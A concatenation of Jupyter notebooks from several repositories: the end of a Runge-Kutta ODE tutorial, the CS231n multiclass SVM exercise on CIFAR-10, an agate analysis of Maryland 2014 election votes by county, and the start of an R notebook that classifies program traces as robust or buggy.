U5dVy5VFEVRFGV1UbeVS40x1xtjHjHGPGaM+cNat6fRMcbsNcY84Iq2/ajW7WkkjDG3GmOOGmN2\n+94bNMbcZYzZY4y50xijy0ETEtGftxhjDjj9vM8Yc30t29goGGO2GmPuNsb83BjzoDHmve591U+l\nbqlLw8MY0wz8LXA9cAnwJmPMxbVtVcMjwE4RuUpErq11YxqMT2J10c8fAXeJyIXAt9xrJRlh/SnA\nR5x+XiUiX69BuxqRM8DvisizgOcBv+XGStVPpW6pS8MDuBZ4XET2isgZ4NPA62rcptWAJutmQES+\nB5wKvH0j8M/u+T8Dv1TVRjUwEf0Jqp+pEZEjIrLLPZ8EHgaGUP1U6ph6NTyGgP2+1wfce0p2BPim\nMeYnxph31roxq4CNInLUPT8KbKxlY1YJ7zHG3G+M+YSGBtJjjNkOXAXci+qnUsfUq+GhGa/580K3\nN84NWHfsi2vdoNWC2Axt1dnK+AfgPOyeLYeB/1nb5jQWxpge4PPA74hIwX9M9VOpN+rV8DgIbPW9\n3or1eigZEZHD7u9x4HZsOEvJzlFjzCYAY8w5wLEat6ehEZFj4gD+D6qfiTHGtGKNjk+JyB3ubdVP\npW6pV8PjJ8AOY8x2Y0wb8EbgSzVuU8NijOkyxvS6593AK4Hd8d9SyvAl4G3u+duAO2I+q5TB3Rw9\nbkL1MxGu8vMngIdE5KO+Q6qfSt1St3U8jDE3AB8FmoFPiMif17hJDYsx5jyslwNs0bh/0f5MjjHm\n/wIvAdZh4+UfBL4IfBbYBuwF3iAiY7VqYyMR0p/DwE5smEWAp4B3+3IUlAiMMS8Cvgs8wHI45Y+B\nH6H6qdQpdWt4KIqiKIqy+qjXUIuiKIqiKKsQNTwURVEURakaangoiqIoilI11PBQFEVRFKVqqOGh\nKIqiKErVUMNDURRFUZSqoYaHoqTEGNNvjLm51u1QFEVpRNTwUJT0rAF+s9aNUBRFaUTU8FCU9PwP\n4AJjzH3GmL+odWMURVEaCa1cqigpMcacC3xFRC6rdVsURVEaDfV4KEp6TK0boCiK0qio4aEoiqIo\nStVQw0NR0lMAemvdCEVRlEZEDQ9FSYmInAR+YIzZrcmliqIo6dDkUkVRFEVRqoZ6PBRFURRFqRpq\neCiKoiiKUjXU8FAURVEUpWqo4aEoiqIoStVQw0NRFEVRlKqhhoeiKIqiKFVDDQ9FURRFUaqGGh6K\noiiKolSN/w83IZOJ82guEwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f8e1190>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = rungekutta(forced(wn, qsi=0, force=lambda x :np.cos(x*0.90*wn)), y0, tf=20)\n", "plt.plot(x, Y[:,0], label='forced response')\n", "x, Y = rungekutta(natural(wn, qsi=0), y0, tf=20)\n", "plt.plot(x, Y[:,0], color=\"grey\", alpha=0.5, label='natural response')\n", "plt.title('System response when F(t) = 30 * cos(0.9wn t)')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This effect is called the _beat effect_." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Conclusions\n", "\n", "ODEs can be solved using a variety of methods however, for practical purposes, numerical methods such as the Runge-Kutta method allows the estimation of the solution of any ODE in reasonable time. \n", "\n", "In order to use numeric methods any System of $m$ ODEs of degree $n$ must be reduced to a System of $mn$ ODEs of degree $1$.\n", "\n", "We have shown how to do this for a second order ODE.\n", "\n", "If the ODE is the mathematical model of a Dynamical System, its response can be studied as a natural response, which in analytic terms, can be defined as $y(t) = y_h(t)$ and the response to a disturbance function is given by $y(t) = y_h(t) + y_p(t)$, where $y_p(t)$ represents the System response to the permanent input.\n", "\n", "We solved an ODE both numerically and analytically and have studied its behaviour regarding different settings of a parameter $\\xi$.\n", "\n", "ODEs are a very powerful Mathematical Model in which the functions can represent physical quantities, the derivatives represent their rates of change, and the equation defines a relationship between the two. Because such relations are extremely common, differential equations play a prominent role in many disciplines.\n", "\n", "## Bibliography\n", "_Vibrações de Sistemas Mecânicos - Apontamentos Teorico-Práticos_, José Dias Rodrigues, Faculdade de Engenharia da Universidade do Porto, 2014\n", "\n", "Lecture Slides from Dynamical Systems and Control, 2015\n", "\n", "Wikipedia\n", "- [Ordinary differential equation](https://en.wikipedia.org/wiki/Ordinary_differential_equation)\n", "- [Runge–Kutta methods](https://en.wikipedia.org/wiki/Runge%E2%80%93Kutta_methods)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.9" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

AI-Innovation/cs231n_ass1

svm.ipynb

5

21095

{ "nbformat_minor": 0, "nbformat": 4, "cells": [ { "source": [ "# Multiclass Support Vector Machine exercise\n", "\n", "*Complete and hand in this completed worksheet (including its outputs and any supporting code outside of the worksheet) with your assignment submission. For more details see the [assignments page](http://vision.stanford.edu/teaching/cs231n/assignments.html) on the course website.*\n", "\n", "In this exercise you will:\n", " \n", "- implement a fully-vectorized **loss function** for the SVM\n", "- implement the fully-vectorized expression for its **analytic gradient**\n", "- **check your implementation** using numerical gradient\n", "- use a validation set to **tune the learning rate and regularization** strength\n", "- **optimize** the loss function with **SGD**\n", "- **visualize** the final learned weights\n" ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# Run some setup code for this notebook.\n", "\n", "import random\n", "import numpy as np\n", "from cs231n.data_utils import load_CIFAR10\n", "import matplotlib.pyplot as plt\n", "\n", "# This is a bit of magic to make matplotlib figures appear inline in the\n", "# notebook rather than in a new window.\n", "%matplotlib inline\n", "plt.rcParams['figure.figsize'] = (10.0, 8.0) # set default size of plots\n", "plt.rcParams['image.interpolation'] = 'nearest'\n", "plt.rcParams['image.cmap'] = 'gray'\n", "\n", "# Some more magic so that the notebook will reload external python modules;\n", "# see http://stackoverflow.com/questions/1907993/autoreload-of-modules-in-ipython\n", "%load_ext autoreload\n", "%autoreload 2" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "## CIFAR-10 Data Loading and Preprocessing" ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# Load the raw CIFAR-10 data.\n", "cifar10_dir = 'cs231n/datasets/cifar-10-batches-py'\n", "X_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir)\n", "\n", "# As a sanity check, we print out the size of the training and test data.\n", "print 'Training data shape: ', X_train.shape\n", "print 'Training labels shape: ', y_train.shape\n", "print 'Test data shape: ', X_test.shape\n", "print 'Test labels shape: ', y_test.shape" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Visualize some examples from the dataset.\n", "# We show a few examples of training images from each class.\n", "classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n", "num_classes = len(classes)\n", "samples_per_class = 7\n", "for y, cls in enumerate(classes):\n", " idxs = np.flatnonzero(y_train == y)\n", " idxs = np.random.choice(idxs, samples_per_class, replace=False)\n", " for i, idx in enumerate(idxs):\n", " plt_idx = i * num_classes + y + 1\n", " plt.subplot(samples_per_class, num_classes, plt_idx)\n", " plt.imshow(X_train[idx].astype('uint8'))\n", " plt.axis('off')\n", " if i == 0:\n", " plt.title(cls)\n", "plt.show()" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Split the data into train, val, and test sets. In addition we will\n", "# create a small development set as a subset of the training data;\n", "# we can use this for development so our code runs faster.\n", "num_training = 49000\n", "num_validation = 1000\n", "num_test = 1000\n", "num_dev = 500\n", "\n", "# Our validation set will be num_validation points from the original\n", "# training set.\n", "mask = range(num_training, num_training + num_validation)\n", "X_val = X_train[mask]\n", "y_val = y_train[mask]\n", "\n", "# Our training set will be the first num_train points from the original\n", "# training set.\n", "mask = range(num_training)\n", "X_train = X_train[mask]\n", "y_train = y_train[mask]\n", "\n", "# We will also make a development set, which is a small subset of\n", "# the training set.\n", "mask = np.random.choice(num_training, num_dev, replace=False)\n", "X_dev = X_train[mask]\n", "y_dev = y_train[mask]\n", "\n", "# We use the first num_test points of the original test set as our\n", "# test set.\n", "mask = range(num_test)\n", "X_test = X_test[mask]\n", "y_test = y_test[mask]\n", "\n", "print 'Train data shape: ', X_train.shape\n", "print 'Train labels shape: ', y_train.shape\n", "print 'Validation data shape: ', X_val.shape\n", "print 'Validation labels shape: ', y_val.shape\n", "print 'Test data shape: ', X_test.shape\n", "print 'Test labels shape: ', y_test.shape" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Preprocessing: reshape the image data into rows\n", "X_train = np.reshape(X_train, (X_train.shape[0], -1))\n", "X_val = np.reshape(X_val, (X_val.shape[0], -1))\n", "X_test = np.reshape(X_test, (X_test.shape[0], -1))\n", "X_dev = np.reshape(X_dev, (X_dev.shape[0], -1))\n", "\n", "# As a sanity check, print out the shapes of the data\n", "print 'Training data shape: ', X_train.shape\n", "print 'Validation data shape: ', X_val.shape\n", "print 'Test data shape: ', X_test.shape\n", "print 'dev data shape: ', X_dev.shape" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Preprocessing: subtract the mean image\n", "# first: compute the image mean based on the training data\n", "mean_image = np.mean(X_train, axis=0)\n", "print mean_image[:10] # print a few of the elements\n", "plt.figure(figsize=(4,4))\n", "plt.imshow(mean_image.reshape((32,32,3)).astype('uint8')) # visualize the mean image\n", "plt.show()" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# second: subtract the mean image from train and test data\n", "X_train -= mean_image\n", "X_val -= mean_image\n", "X_test -= mean_image\n", "X_dev -= mean_image" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# third: append the bias dimension of ones (i.e. bias trick) so that our SVM\n", "# only has to worry about optimizing a single weight matrix W.\n", "X_train = np.hstack([X_train, np.ones((X_train.shape[0], 1))])\n", "X_val = np.hstack([X_val, np.ones((X_val.shape[0], 1))])\n", "X_test = np.hstack([X_test, np.ones((X_test.shape[0], 1))])\n", "X_dev = np.hstack([X_dev, np.ones((X_dev.shape[0], 1))])\n", "\n", "print X_train.shape, X_val.shape, X_test.shape, X_dev.shape" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "## SVM Classifier\n", "\n", "Your code for this section will all be written inside **cs231n/classifiers/linear_svm.py**. \n", "\n", "As you can see, we have prefilled the function `compute_loss_naive` which uses for loops to evaluate the multiclass SVM loss function. " ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# Evaluate the naive implementation of the loss we provided for you:\n", "from cs231n.classifiers.linear_svm import svm_loss_naive\n", "import time\n", "\n", "# generate a random SVM weight matrix of small numbers\n", "W = np.random.randn(3073, 10) * 0.0001 \n", "\n", "loss, grad = svm_loss_naive(W, X_dev, y_dev, 0.00001)\n", "print 'loss: %f' % (loss, )" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "The `grad` returned from the function above is right now all zero. Derive and implement the gradient for the SVM cost function and implement it inline inside the function `svm_loss_naive`. You will find it helpful to interleave your new code inside the existing function.\n", "\n", "To check that you have correctly implemented the gradient correctly, you can numerically estimate the gradient of the loss function and compare the numeric estimate to the gradient that you computed. We have provided code that does this for you:" ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# Once you've implemented the gradient, recompute it with the code below\n", "# and gradient check it with the function we provided for you\n", "\n", "# Compute the loss and its gradient at W.\n", "loss, grad = svm_loss_naive(W, X_dev, y_dev, 0.0)\n", "\n", "# Numerically compute the gradient along several randomly chosen dimensions, and\n", "# compare them with your analytically computed gradient. The numbers should match\n", "# almost exactly along all dimensions.\n", "from cs231n.gradient_check import grad_check_sparse\n", "f = lambda w: svm_loss_naive(w, X_dev, y_dev, 0.0)[0]\n", "grad_numerical = grad_check_sparse(f, W, grad)\n", "\n", "# do the gradient check once again with regularization turned on\n", "# you didn't forget the regularization gradient did you?\n", "loss, grad = svm_loss_naive(W, X_dev, y_dev, 1e2)\n", "f = lambda w: svm_loss_naive(w, X_dev, y_dev, 1e2)[0]\n", "grad_numerical = grad_check_sparse(f, W, grad)" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "### Inline Question 1:\n", "It is possible that once in a while a dimension in the gradcheck will not match exactly. What could such a discrepancy be caused by? Is it a reason for concern? What is a simple example in one dimension where a gradient check could fail? *Hint: the SVM loss function is not strictly speaking differentiable*\n", "\n", "**Your Answer:** *fill this in.*" ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# Next implement the function svm_loss_vectorized; for now only compute the loss;\n", "# we will implement the gradient in a moment.\n", "tic = time.time()\n", "loss_naive, grad_naive = svm_loss_naive(W, X_dev, y_dev, 0.00001)\n", "toc = time.time()\n", "print 'Naive loss: %e computed in %fs' % (loss_naive, toc - tic)\n", "\n", "from cs231n.classifiers.linear_svm import svm_loss_vectorized\n", "tic = time.time()\n", "loss_vectorized, _ = svm_loss_vectorized(W, X_dev, y_dev, 0.00001)\n", "toc = time.time()\n", "print 'Vectorized loss: %e computed in %fs' % (loss_vectorized, toc - tic)\n", "\n", "# The losses should match but your vectorized implementation should be much faster.\n", "print 'difference: %f' % (loss_naive - loss_vectorized)" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Complete the implementation of svm_loss_vectorized, and compute the gradient\n", "# of the loss function in a vectorized way.\n", "\n", "# The naive implementation and the vectorized implementation should match, but\n", "# the vectorized version should still be much faster.\n", "tic = time.time()\n", "_, grad_naive = svm_loss_naive(W, X_dev, y_dev, 0.00001)\n", "toc = time.time()\n", "print 'Naive loss and gradient: computed in %fs' % (toc - tic)\n", "\n", "tic = time.time()\n", "_, grad_vectorized = svm_loss_vectorized(W, X_dev, y_dev, 0.00001)\n", "toc = time.time()\n", "print 'Vectorized loss and gradient: computed in %fs' % (toc - tic)\n", "\n", "# The loss is a single number, so it is easy to compare the values computed\n", "# by the two implementations. The gradient on the other hand is a matrix, so\n", "# we use the Frobenius norm to compare them.\n", "difference = np.linalg.norm(grad_naive - grad_vectorized, ord='fro')\n", "print 'difference: %f' % difference" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "### Stochastic Gradient Descent\n", "\n", "We now have vectorized and efficient expressions for the loss, the gradient and our gradient matches the numerical gradient. We are therefore ready to do SGD to minimize the loss." ], "cell_type": "markdown", "metadata": {} }, { "execution_count": null, "cell_type": "code", "source": [ "# In the file linear_classifier.py, implement SGD in the function\n", "# LinearClassifier.train() and then run it with the code below.\n", "from cs231n.classifiers import LinearSVM\n", "svm = LinearSVM()\n", "tic = time.time()\n", "loss_hist = svm.train(X_train, y_train, learning_rate=1e-7, reg=5e4,\n", " num_iters=1500, verbose=True)\n", "toc = time.time()\n", "print 'That took %fs' % (toc - tic)" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# A useful debugging strategy is to plot the loss as a function of\n", "# iteration number:\n", "plt.plot(loss_hist)\n", "plt.xlabel('Iteration number')\n", "plt.ylabel('Loss value')\n", "plt.show()" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Write the LinearSVM.predict function and evaluate the performance on both the\n", "# training and validation set\n", "y_train_pred = svm.predict(X_train)\n", "print 'training accuracy: %f' % (np.mean(y_train == y_train_pred), )\n", "y_val_pred = svm.predict(X_val)\n", "print 'validation accuracy: %f' % (np.mean(y_val == y_val_pred), )" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Use the validation set to tune hyperparameters (regularization strength and\n", "# learning rate). You should experiment with different ranges for the learning\n", "# rates and regularization strengths; if you are careful you should be able to\n", "# get a classification accuracy of about 0.4 on the validation set.\n", "learning_rates = [1e-7, 5e-5]\n", "regularization_strengths = [5e4, 1e5]\n", "\n", "# results is dictionary mapping tuples of the form\n", "# (learning_rate, regularization_strength) to tuples of the form\n", "# (training_accuracy, validation_accuracy). The accuracy is simply the fraction\n", "# of data points that are correctly classified.\n", "results = {}\n", "best_val = -1 # The highest validation accuracy that we have seen so far.\n", "best_svm = None # The LinearSVM object that achieved the highest validation rate.\n", "\n", "################################################################################\n", "# TODO: #\n", "# Write code that chooses the best hyperparameters by tuning on the validation #\n", "# set. For each combination of hyperparameters, train a linear SVM on the #\n", "# training set, compute its accuracy on the training and validation sets, and #\n", "# store these numbers in the results dictionary. In addition, store the best #\n", "# validation accuracy in best_val and the LinearSVM object that achieves this #\n", "# accuracy in best_svm. #\n", "# #\n", "# Hint: You should use a small value for num_iters as you develop your #\n", "# validation code so that the SVMs don't take much time to train; once you are #\n", "# confident that your validation code works, you should rerun the validation #\n", "# code with a larger value for num_iters. #\n", "################################################################################\n", "pass\n", "################################################################################\n", "# END OF YOUR CODE #\n", "################################################################################\n", " \n", "# Print out results.\n", "for lr, reg in sorted(results):\n", " train_accuracy, val_accuracy = results[(lr, reg)]\n", " print 'lr %e reg %e train accuracy: %f val accuracy: %f' % (\n", " lr, reg, train_accuracy, val_accuracy)\n", " \n", "print 'best validation accuracy achieved during cross-validation: %f' % best_val" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Visualize the cross-validation results\n", "import math\n", "x_scatter = [math.log10(x[0]) for x in results]\n", "y_scatter = [math.log10(x[1]) for x in results]\n", "\n", "# plot training accuracy\n", "marker_size = 100\n", "colors = [results[x][0] for x in results]\n", "plt.subplot(2, 1, 1)\n", "plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n", "plt.colorbar()\n", "plt.xlabel('log learning rate')\n", "plt.ylabel('log regularization strength')\n", "plt.title('CIFAR-10 training accuracy')\n", "\n", "# plot validation accuracy\n", "colors = [results[x][1] for x in results] # default size of markers is 20\n", "plt.subplot(2, 1, 2)\n", "plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n", "plt.colorbar()\n", "plt.xlabel('log learning rate')\n", "plt.ylabel('log regularization strength')\n", "plt.title('CIFAR-10 validation accuracy')\n", "plt.show()" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Evaluate the best svm on test set\n", "y_test_pred = best_svm.predict(X_test)\n", "test_accuracy = np.mean(y_test == y_test_pred)\n", "print 'linear SVM on raw pixels final test set accuracy: %f' % test_accuracy" ], "outputs": [], "metadata": { "collapsed": false } }, { "execution_count": null, "cell_type": "code", "source": [ "# Visualize the learned weights for each class.\n", "# Depending on your choice of learning rate and regularization strength, these may\n", "# or may not be nice to look at.\n", "w = best_svm.W[:-1,:] # strip out the bias\n", "w = w.reshape(32, 32, 3, 10)\n", "w_min, w_max = np.min(w), np.max(w)\n", "classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n", "for i in xrange(10):\n", " plt.subplot(2, 5, i + 1)\n", " \n", " # Rescale the weights to be between 0 and 255\n", " wimg = 255.0 * (w[:, :, :, i].squeeze() - w_min) / (w_max - w_min)\n", " plt.imshow(wimg.astype('uint8'))\n", " plt.axis('off')\n", " plt.title(classes[i])" ], "outputs": [], "metadata": { "collapsed": false } }, { "source": [ "### Inline question 2:\n", "Describe what your visualized SVM weights look like, and offer a brief explanation for why they look they way that they do.\n", "\n", "**Your answer:** *fill this in*" ], "cell_type": "markdown", "metadata": {} } ], "metadata": { "kernelspec": { "display_name": "Python 2", "name": "python2", "language": "python" }, "language_info": { "mimetype": "text/x-python", "nbconvert_exporter": "python", "name": "python", "file_extension": ".py", "version": "2.7.9", "pygments_lexer": "ipython2", "codemirror_mode": { "version": 2, "name": "ipython" } } } }

mit

pratheekrebala/SMPA-SystemsForReporting

Homework/Class 10/Class 10.ipynb

2

8084

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Requirement already satisfied: agate in /usr/local/lib/python3.5/site-packages\n", "Requirement already satisfied: Babel>=2.0 in /Users/pratheekrebala/Library/Python/3.5/lib/python/site-packages (from agate)\n", "Requirement already satisfied: six>=1.6.1 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: parsedatetime>=2.1 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: pytimeparse>=1.1.5 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: isodate>=0.5.4 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: awesome-slugify>=1.6.5 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: leather>=0.3.2 in /usr/local/lib/python3.5/site-packages (from agate)\n", "Requirement already satisfied: pytz>=0a in /usr/local/lib/python3.5/site-packages (from Babel>=2.0->agate)\n", "Requirement already satisfied: future in /usr/local/lib/python3.5/site-packages (from parsedatetime>=2.1->agate)\n", "Requirement already satisfied: regex in /usr/local/lib/python3.5/site-packages (from awesome-slugify>=1.6.5->agate)\n", "Requirement already satisfied: Unidecode<0.05,>=0.04.14 in /Users/pratheekrebala/Library/Python/3.5/lib/python/site-packages (from awesome-slugify>=1.6.5->agate)\n" ] } ], "source": [ "!pip3 install agate --user" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import agate" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "| column | data_type |\n", "| --------------- | --------- |\n", "| updated_at | DateTime |\n", "| id | Date |\n", "| start_date | DateTime |\n", "| end_date | DateTime |\n", "| election_type | Text |\n", "| result_type | Text |\n", "| special | Boolean |\n", "| office | Text |\n", "| district | Text |\n", "| name_raw | Text |\n", "| last_name | Boolean |\n", "| first_name | Boolean |\n", "| suffix | Boolean |\n", "| middle_name | Boolean |\n", "| party | Text |\n", "| jurisdiction | Text |\n", "| division | Text |\n", "| votes | Number |\n", "| votes_type | Boolean |\n", "| total_votes | Boolean |\n", "| winner | Boolean |\n", "| write_in | Boolean |\n", "| year | Number |\n", "| election_day | Number |\n", "| absentee | Number |\n", "| second_absentee | Number |\n", "| provisional | Number |\n", "\n", "jurisdiction county_total\n", "Montgomery 1,954,822 ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \n", "Baltimore 1,851,809 ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \n", "Prince George's 1,501,125 ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \n", "Anne Arundel 1,240,645 ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ \n", "Baltimore City 979,608 ▓░░░░░░░░░░░░░░░░░░░░░░░░ \n", "Howard 749,280 ▓░░░░░░░░░░░░░░░░░░░ \n", "Harford 615,680 ▓░░░░░░░░░░░░░░░ \n", "Frederick 544,177 ▓░░░░░░░░░░░░░░ \n", "Carroll 466,467 ▓░░░░░░░░░░░░ \n", "Charles 328,887 ▓░░░░░░░░ \n", " +-----------+------------+------------------------+\n", " 0 500,000 1,000,000 2,000,000\n" ] } ], "source": [ "results = agate.Table.from_csv(\"mdcounty2014.csv\")\n", "print(results)\n", "row = results.rows[0]\n", "row['jurisdiction']\n", "by_county = results.group_by('jurisdiction')\n", "totals = by_county.aggregate([('county_total', agate.Sum('votes'))])\n", "totals = totals.order_by('county_total', reverse=True)\n", "totals.limit(10).print_bars('jurisdiction', 'county_total', width=80)" ] }, { "cell_type": "code", "execution_count": 41, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "| name_raw | jurisdiction | county_total |\n", "| ------------------- | --------------- | ------------ |\n", "| Peter Franchot | Prince George's | 187,836 |\n", "| Brian E. Frosh | Prince George's | 185,658 |\n", "| Anthony G. Brown | Prince George's | 184,950 |\n", "| Peter Franchot | Montgomery | 178,855 |\n", "| Brian E. Frosh | Montgomery | 175,892 |\n", "| Peter Franchot | Baltimore | 165,920 |\n", "| Anthony G. Brown | Montgomery | 163,694 |\n", "| Larry Hogan | Baltimore | 155,936 |\n", "| Brian E. Frosh | Baltimore | 135,855 |\n", "| Larry Hogan | Anne Arundel | 119,195 |\n", "| Peter Franchot | Baltimore City | 117,634 |\n", "| Donna F. Edwards | Prince George's | 112,224 |\n", "| Brian E. Frosh | Baltimore City | 112,168 |\n", "| Jeffrey N. Pritzker | Baltimore | 110,399 |\n", "| Chris Van Hollen | Montgomery | 109,392 |\n", "| Anthony G. Brown | Baltimore City | 106,213 |\n", "| Anthony G. Brown | Baltimore | 102,734 |\n", "| Larry Hogan | Montgomery | 97,312 |\n", "| Jeffrey N. Pritzker | Anne Arundel | 94,026 |\n", "| William H. Campbell | Baltimore | 92,922 |\n", "| ... | ... | ... |\n" ] } ], "source": [ "by_county = results.group_by('name_raw').group_by('jurisdiction')\n", "totals = by_county.aggregate([('county_total', agate.Sum('votes'))])\n", "totals = totals.order_by('county_total', reverse=True)\n", "totals.print_table()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 1 }

mit

neuromancer/ocean-results

oldnotebooks/Standalone Classifier.ipynb

1

9830

{ "metadata": { "name": "Standalone Classifier" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "%load_ext rmagic " ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "During startup - Warning messages:\n", "1: Setting LC_TIME failed, using \"C\" \n", "2: Setting LC_MONETARY failed, using \"C\" \n", "3: Setting LC_PAPER failed, using \"C\" \n", "4: Setting LC_MEASUREMENT failed, using \"C\" \n" ] } ], "prompt_number": 1 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "library(\"e1071\")\n", "\n", "dir = \"19-05-2014\"\n", "\n", "load(file = paste(dir, \"svms\", \"mutation-event-classifier.svm\", sep=\"/\"))\n", "load(file = paste(dir, \"svms\", \"mvars.data\", sep=\"/\"))\n", "#load(file = paste(dir, \"svms\", \"mprogs.data\", sep=\"/\"))\n", "#read.csv(textConnection(readLines(mycon)), sep=\"\\t\", header = F)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 2 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "\n", "options(stringsAsFactors=F)\n", "\n", "mycon = gzcon(gzfile(paste(dir, \"filtered_traces.csv.gz\", sep=\"/\"), open=\"r\"))\n", "more_program_events = read.csv(textConnection(readLines(mycon)), sep=\"\\t\", header = F)\n", "\n", "cats = factor(more_program_events[,4], levels = c(\"R\",\"B\"))\n", "\n", "#more_program_events[,4] = factor(more_program_events[,4])\n", "#more_program_events <- droplevels(more_program_events)\n", "\n", "print(nrow(more_program_events))\n" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "display_data", "text": [ "[1] 2333\n" ] } ], "prompt_number": 3 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "\n", "library(tm)\n", "\n", "mut_more_corpus = Corpus(VectorSource(more_program_events[,2]))\n", "evs_more_corpus = Corpus(VectorSource(more_program_events[,3]))\n", "\n", "print(mut_more_corpus)\n", "print(evs_more_corpus)\n", "#print(more_program_events[,1])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "display_data", "text": [ "A corpus with 2333 text documents\n", "A corpus with 2333 text documents\n" ] } ], "prompt_number": 4 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "\n", "mut_more_dm = DocumentTermMatrix(mut_more_corpus)\n", "evs_more_dm = DocumentTermMatrix(evs_more_corpus)\n", "\n", "#print(robust_dm)\n", "#print(buggy_dm)\n", "\n", "sink(\"/dev/null\")\n", "\n", "mut_more_dm_df = as.data.frame(inspect(mut_more_dm))\n", "#print(rownames(more_dm_df))\n", "#rownames(more_dm_df) = 1:nrow(more_dm)\n", "#print(rownames(more_dm_df))\n", "mut_more_dm_df[\"class\"] = cats\n", "\n", "evs_more_dm_df = (as.data.frame(inspect(evs_more_dm)))\n", "#print(rownames(more_dm_df))\n", "#rownames(more_dm_df) = 1:nrow(more_dm)\n", "#print(rownames(more_dm_df))\n", "evs_more_dm_df[\"class\"] = cats\n", " \n", "sink()" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "%%R\n", "\n", "#dm_df = merge(robust_dm_df, buggy_dm_df,all=TRUE, sort=FALSE) \n", "\n", "#print(dm_df[1,])\n", "#print(nrow(dm_df))\n", "#dm_df[is.na(dm_df)] = 0\n", "\n", "#test = cbind(mut_more_dm_df[,names(mut_more_dm_df) != \"class\"], evs_more_dm_df)\n", "\n", "\n", "\n", "robust_cases = mut_more_dm_df[mut_more_dm_df$class == \"R\",]\n", "buggy_cases = mut_more_dm_df[mut_more_dm_df$class == 